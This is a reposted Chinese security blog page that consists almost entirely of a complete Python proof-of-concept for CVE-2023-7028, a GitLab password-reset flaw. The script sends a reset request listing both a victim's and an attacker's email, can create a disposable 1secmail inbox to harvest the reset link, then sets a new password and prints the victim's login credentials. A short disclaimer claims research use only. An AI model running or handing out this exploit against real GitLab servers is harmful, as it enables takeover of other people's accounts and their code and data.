python:
import requests import argparse from urllib.parse import urlparse, urlencode from random import choice from time import sleep import re requests.packages.urllib3.disable_warnings() class OneSecMail_api: def __init__(self): self.url = "https://www.1secmail.com" self.domains = [] def get_domains(self): print('[DEBUG] Scrapping available domains on 1secmail.com') html = requests.get(f'{self.url}').text pattern = re.compile(r'<option value="([a-z.1]+)" data-prefer') self.domains = pattern.findall(html) print(f'[DEBUG] {len(self.domains)} domains found') def get_email(self): print('[DEBUG] Getting temporary mail') if self.domains == []: self.get_domains() if self.domains == []: return None name = ''.join([choice('abcdefghijklmnopqrstuvwxyz0123456789') for _ in range(10)]) domain = choice(self.domains) mail = f'{name}@{domain}' print(f'[DEBUG] Temporary mail: {mail}') return mail def get_mail_ids(self, name, domain): print(f'[DEBUG] Getting last mail for {name}@{domain}') html = requests.post(f'{self.url}/mailbox', verify=False, data={ 'action': 'getMessages', 'login': name, 'domain': domain }).text pattern = re.compile(r'<a href="/mailbox/\?action=readMessageFull&(.*?)">') mails = pattern.findall(html) return mails def get_last_mail(self, mail): name, domain = mail.split('@') mails = self.get_mail_ids(name, domain) print(f'[DEBUG] {len(mails)} mail(s) found') if mails == []: return None print(f'[DEBUG] Reading the last one') html = requests.get(f'{self.url}/mailbox/?action=readMessageFull&{mails[0]}', verify=False).text content = html.split('<div id="messageBody">')[1].split('<div id="end1sMessageBody">')[0] return content class CVE_2023_7028: def __init__(self, url, target, evil=None): self.use_temp_mail = False self.mail_api = OneSecMail_api() self.url = urlparse(url) self.target = target self.evil = evil self.s = requests.session() if self.evil is None: self.use_temp_mail = True self.evil = self.mail_api.get_email() if not self.evil: print('[DEBUG] Failed ... quitting') exit() def get_authenticity_token(self, code=''): try: print('[DEBUG] Getting authenticity_token ...') endpoint = f'/users/password/edit?reset_password_token={code}' html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/{endpoint}', verify=False).text regex = r'<input type="hidden" name="authenticity_token" value="(.*?)" autocomplete="off" />' token = re.findall(regex, html)[0] print(f'[DEBUG] authenticity_token = {token}') return token except Exception: print('[DEBUG] Failed ... quitting') return None def get_csrf_token(self): try: print('[DEBUG] Getting authenticity_token ...') html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text regex = r'<meta name="csrf-token" content="(.*?)" />' token = re.findall(regex, html)[0] print(f'[DEBUG] authenticity_token = {token}') return token except Exception: print('[DEBUG] Failed ... quitting') return None def ask_reset(self): token = self.get_csrf_token() if not token: return False query_string = urlencode({ 'authenticity_token': token, 'user[email][]': [self.target, self.evil] }, doseq=True) head = { 'Origin': f'{self.url.scheme}://{self.url.netloc}', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new', 'Connection': 'close', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br' } print('[DEBUG] Sending reset password request') html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password', data=query_string, headers=head, verify=False).text sended = 'If your email address exists in our database' in html if sended: print(f'[DEBUG] Emails sended to {self.target} and {self.evil} !') else: print('[DEBUG] Failed ... quitting') return sended def parse_email(self, content): try: pattern = re.compile(r'/users/password/edit\?reset_password_token=(.*?)"') token = pattern.findall(content)[0] return token except: return None def get_code(self, max_attempt=5, delay=7.5): if not self.use_temp_mail: url = input('\tInput link received by mail: ') pattern = re.compile(r'(https?://[^"]+/users/password/edit\?reset_password_token=([^"]+))') match = pattern.findall(url) if len(match) != 1: return None return match[0][1] else: for k in range(1, max_attempt+1): print(f'[DEBUG] Waiting mail, sleeping for {str(delay)} seconds') sleep(delay) print(f'[DEBUG] Getting link using temp-mail | Try N°{k} on {max_attempt}') last_email = self.mail_api.get_last_mail(self.evil) if last_email is not None: code = self.parse_email(last_email) return code def reset_password(self, password): code = self.get_code() if not code: print('[DEBUG] Failed ... quitting') return False print('[DEBUG] Generating new password') charset = 'abcdefghijklmnopqrstuvwxzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' if password is None: password = ''.join(choice(charset) for _ in range(20)) authenticity_token = self.get_authenticity_token(code) if authenticity_token is None: return False print(f'[DEBUG] Changing password to {password}') html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password', verify=False, data={ '_method': 'put', 'authenticity_token': authenticity_token, 'user[reset_password_token]': code, 'user': password, 'user[password_confirmation]': password }).text success = 'Your password has been changed successfully.' in html if success: print('[DEBUG] CVE_2023_7028 succeed !') print(f'\tYou can connect on {self.url.scheme}://{self.url.netloc}/users/sign_in') print(f'\tUsername: {self.target}') print(f'\tPassword: {password}') else: print('[DEBUG] Failed ... quitting') def parse_args(): parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab') parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url") parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email") parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email") parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password") return parser.parse_args() if __name__ == '__main__': args = parse_args() exploit = CVE_2023_7028( url=args.url, target=args.target, evil=args.evil ) if not exploit.ask_reset(): exit() exploit.reset_password(password=args.password)
原文始发于微信公众号(赛哈文):GitLab任意用户密码重置漏洞poc CVE-2023-7028
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论